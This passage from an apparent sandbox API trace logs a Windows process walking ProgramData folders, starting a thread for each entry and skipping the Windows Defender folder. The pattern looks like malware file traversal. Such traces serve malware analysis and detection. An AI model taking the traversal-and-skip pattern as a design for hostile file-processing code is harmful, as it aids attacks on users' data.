lpParameter=0x3ffe98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x330 [0045.789] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1 [0045.789] wcscmp (_String1="RAC", _String2=".") returned 1 [0045.789] wcscmp (_String1="RAC", _String2="..") returned 1 [0045.789] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3a) returned 0x402408 [0045.789] wcscpy (in: _Dest=0x402408, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.789] wcscat (in: _Dest=0x402408, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.789] wcscat (in: _Dest=0x402408, _Source="RAC" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0045.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x334 [0045.790] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0045.790] wcscmp (_String1="Search", _String2=".") returned 1 [0045.790] wcscmp (_String1="Search", _String2="..") returned 1 [0045.791] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4026d8 [0045.791] wcscpy (in: _Dest=0x4026d8, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.791] wcscat (in: _Dest=0x4026d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.791] wcscat (in: _Dest=0x4026d8, _Source="Search" | out: _Dest="C:\\ProgramData\\Microsoft\\Search") returned="C:\\ProgramData\\Microsoft\\Search" [0045.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4026d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x338 [0045.792] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0045.792] wcscmp (_String1="User Account Pictures", _String2=".") returned 1 [0045.792] wcscmp (_String1="User Account Pictures", _String2="..") returned 1 [0045.792] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5e) returned 0x41beb8 [0045.792] wcscpy (in: _Dest=0x41beb8, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.792] wcscat (in: _Dest=0x41beb8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.792] wcscat (in: _Dest=0x41beb8, _Source="User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures" [0045.792] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x41beb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x33c [0045.793] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0045.793] wcscmp (_String1="Vault", _String2=".") returned 1 [0045.793] wcscmp (_String1="Vault", _String2="..") returned 1 [0045.793] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3e) returned 0x402720 [0045.793] wcscpy (in: _Dest=0x402720, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.793] wcscat (in: _Dest=0x402720, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.793] wcscat (in: _Dest=0x402720, _Source="Vault" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault") returned="C:\\ProgramData\\Microsoft\\Vault" [0045.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x340 [0045.794] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1 [0045.794] wcscmp (_String1="VISIO", _String2=".") returned 1 [0045.794] wcscmp (_String1="VISIO", _String2="..") returned 1 [0045.794] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3e) returned 0x402768 [0045.794] wcscpy (in: _Dest=0x402768, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.794] wcscat (in: _Dest=0x402768, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.794] wcscat (in: _Dest=0x402768, _Source="VISIO" | out: _Dest="C:\\ProgramData\\Microsoft\\VISIO") returned="C:\\ProgramData\\Microsoft\\VISIO" [0045.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x402768, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x344 [0045.795] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0045.795] wcscmp (_String1="Windows", _String2=".") returned 1 [0045.795] wcscmp (_String1="Windows", _String2="..") returned 1 [0045.795] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x42) returned 0x444cd0 [0045.796] wcscpy (in: _Dest=0x444cd0, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.796] wcscat (in: _Dest=0x444cd0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.796] wcscat (in: _Dest=0x444cd0, _Source="Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows" [0045.796] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444cd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348 [0045.797] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x591e8ca0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0x591e8ca0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0045.797] wcscmp (_String1="Windows Defender", _String2=".") returned 1 [0045.797] wcscmp (_String1="Windows Defender", _String2="..") returned 1 [0045.797] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x44a070 [0045.797] wcscpy (in: _Dest=0x44a070, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.797] wcscat (in: _Dest=0x44a070, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.797] wcscat (in: _Dest=0x44a070, _Source="Windows Defender" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows Defender") returned="C:\\ProgramData\\Microsoft\\Windows Defender" [0045.797] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a070) returned 1 [0045.797] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0045.797] wcscmp (_String1="Windows NT", _String2=".") returned 1 [0045.797] wcscmp (_String1="Windows NT", _String2="..") returned 1 [0045.797] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x444d20 [0045.797] wcscpy (in: _Dest=0x444d20, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.797] wcscat (in: _Dest=0x444d20, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.797] wcscat (in: _Dest=0x444d20, _Source="Windows NT" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT") returned="C:\\ProgramData\\Microsoft\\Windows NT" [0045.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444d20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x34c [0045.798] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0045.798] wcscmp (_String1="WwanSvc", _String2=".") returned 1 [0045.798] wcscmp (_String1="WwanSvc", _String2="..") returned 1 [0045.798] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x42) returned 0x444d70 [0045.798] wcscpy (in: _Dest=0x444d70, _Source="C:\\ProgramData\\Microsoft" | out: _Dest="C:\\ProgramData\\Microsoft") returned="C:\\ProgramData\\Microsoft" [0045.798] wcscat (in: _Dest=0x444d70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\") returned="C:\\ProgramData\\Microsoft\\" [0045.798] wcscat (in: _Dest=0x444d70, _Source="WwanSvc" | out: _Dest="C:\\ProgramData\\Microsoft\\WwanSvc") returned="C:\\ProgramData\\Microsoft\\WwanSvc" [0045.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x350 [0045.799] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0045.799] FindClose (in: hFindFile=0x409ae8 | out: hFindFile=0x409ae8) returned 1 [0045.800] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.800] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409b68) returned 1 [0045.800] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409ba8) returned 1 Thread: id = 97 os_tid = 0xb84 [0045.800] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4027b0 [0045.800] wcscpy (in: _Dest=0x4027b0, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0045.800] wcscat (in: _Dest=0x4027b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0045.800] wcscat (in: _Dest=0x4027b0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft Help\\*") returned="C:\\ProgramData\\Microsoft Help\\*" [0045.800] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.801] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft Help\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4402e0 [0051.183] wcscmp (_String1=".", _String2=".") returned 0 [0051.183] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.183] wcscmp (_String1="..", _String2=".") returned 1 [0051.183] wcscmp (_String1="..", _String2="..") returned 0 [0051.183] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x896b9210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x896b9210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hx.hxn", cAlternateFileName="")) returned 1 [0051.183] wcscmp (_String1="Hx.hxn", _String2=".") returned 1 [0051.183] wcscmp (_String1="Hx.hxn", _String2="..") returned 1 [0051.184] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x414728 [0051.184] wcscpy (in: _Dest=0x414728, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.184] wcscat (in: _Dest=0x414728, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.184] wcscat (in: _Dest=0x414728, _Source="Hx.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\Hx.hxn") returned="C:\\ProgramData\\Microsoft Help\\Hx.hxn" [0051.395] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x414728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664 [0051.396] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa72fc10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa72fc10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.14.1033.hxn", cAlternateFileName="MSEXCE~1.HXN")) returned 1 [0051.396] wcscmp (_String1="MS.EXCEL.14.1033.hxn", _String2=".") returned 1 [0051.396] wcscmp (_String1="MS.EXCEL.14.1033.hxn", _String2="..") returned 1 [0051.396] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x4218f8 [0051.396] wcscpy (in: _Dest=0x4218f8, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.396] wcscat (in: _Dest=0x4218f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.396] wcscat (in: _Dest=0x4218f8, _Source="MS.EXCEL.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn" [0051.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4218f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394 [0051.397] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa755d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa755d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EXCEL.DEV.14.1033.hxn", cAlternateFileName="MSEXCE~2.HXN")) returned 1 [0051.397] wcscmp (_String1="MS.EXCEL.DEV.14.1033.hxn", _String2=".") returned 1 [0051.397] wcscmp (_String1="MS.EXCEL.DEV.14.1033.hxn", _String2="..") returned 1 [0051.398] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5ed5580 [0051.398] wcscpy (in: _Dest=0x5ed5580, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.398] wcscat (in: _Dest=0x5ed5580, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.398] wcscat (in: _Dest=0x5ed5580, _Source="MS.EXCEL.DEV.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn" [0051.398] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed5580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458 [0051.399] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xef377f10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef377f10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef3ea330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GRAPH.14.1033.hxn", cAlternateFileName="MSGRAP~1.HXN")) returned 1 [0051.399] wcscmp (_String1="MS.GRAPH.14.1033.hxn", _String2=".") returned 1 [0051.399] wcscmp (_String1="MS.GRAPH.14.1033.hxn", _String2="..") returned 1 [0051.399] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x4219d8 [0051.399] wcscpy (in: _Dest=0x4219d8, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.399] wcscat (in: _Dest=0x4219d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.399] wcscat (in: _Dest=0x4219d8, _Source="MS.GRAPH.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn" [0051.399] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4219d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc [0051.400] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfd789af0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd789af0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd822070, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GROOVE.14.1033.hxn", cAlternateFileName="MSGROO~1.HXN")) returned 1 [0051.400] wcscmp (_String1="MS.GROOVE.14.1033.hxn", _String2=".") returned 1 [0051.400] wcscmp (_String1="MS.GROOVE.14.1033.hxn", _String2="..") returned 1 [0051.400] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x4212d8 [0051.400] wcscpy (in: _Dest=0x4212d8, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.400] wcscat (in: _Dest=0x4212d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.401] wcscat (in: _Dest=0x4212d8, _Source="MS.GROOVE.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn" [0051.401] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4212d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558 [0051.402] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11446a50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.INFOPATH.14.1033.hxn", cAlternateFileName="MSINFO~1.HXN")) returned 1 [0051.402] wcscmp (_String1="MS.INFOPATH.14.1033.hxn", _String2=".") returned 1 [0051.402] wcscmp (_String1="MS.INFOPATH.14.1033.hxn", _String2="..") returned 1 [0051.402] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x5ed55f8 [0051.402] wcscpy (in: _Dest=0x5ed55f8, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.402] wcscat (in: _Dest=0x5ed55f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.402] wcscat (in: _Dest=0x5ed55f8, _Source="MS.INFOPATH.14.1033.hxn" | out: _Dest="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" [0051.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ed55f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x718 [0051.403] FindNextFileW (in: hFindFile=0x4402e0, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x113ae4d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x113ae4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1146cbb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.INFOPATHEDITOR.14.1033.hxn", cAlternateFileName="MSINFO~2.HXN")) returned 1 [0051.403] wcscmp (_String1="MS.INFOPATHEDITOR.14.1033.hxn", _String2=".") returned 1 [0051.403] wcscmp (_String1="MS.INFOPATHEDITOR.14.1033.hxn", _String2="..") returned 1 [0051.403] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x12e07f18 [0051.403] wcscpy (in: _Dest=0x12e07f18, _Source="C:\\ProgramData\\Microsoft Help" | out: _Dest="C:\\ProgramData\\Microsoft Help") returned="C:\\ProgramData\\Microsoft Help" [0051.403] wcscat (in: _Dest=0x12e07f18, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0051.403] wcscat (in: _Dest=0x12e07f18, 